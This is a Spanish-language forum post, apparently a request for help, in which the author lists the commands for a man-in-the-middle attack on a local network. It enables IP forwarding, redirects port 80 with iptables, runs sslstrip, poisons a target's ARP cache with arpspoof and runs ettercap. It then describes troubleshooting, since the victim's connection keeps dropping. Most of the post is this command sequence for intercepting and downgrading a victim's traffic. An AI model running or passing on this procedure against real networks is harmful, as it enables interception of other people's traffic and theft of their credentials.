Autor
1) Pongo la maquina en modo ip_fordward = 1
Código:
echo "1" > /proc/sys/net/ipv4/ip_forward
2) Redireccion el trafico http del puerto 80 al 1000 con iptables
Código:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
3)Corro sslstrip en el puerto 1000
Código:
sslstrip.py -l 1000
4)Corro arpspoof
Código:
arpspoof -i interface -t iptarget iprouter
5)Corro ettercap
Código:
ettercap -Tqz -u -i interface
NOTA= agrego el -u para que no me cambie el ipforward a 0, ya que ettercap por defecto lo hace.Este procedimiento lo hice en 2 lugares distintos, en uno conectados con un Router D-link DI-524.
Tuve el problema de que la victima se caía continuamente.
En el otro conectados con un modem inalambrico motorola SBG900, sin embargo en este apenas empiezo a correr ettercap, se me cae a mi el internet.
Datos importantes:
trabajo en debian 6, 2.6.32-5-686.
mi tarjeta de red es una Broadcom BCM4312.
nota 2 = no uso la tarjeta en modo monitor, ya que veo que en ocasiones mucho mejor en modo managed.
Muchas gracias
En línea
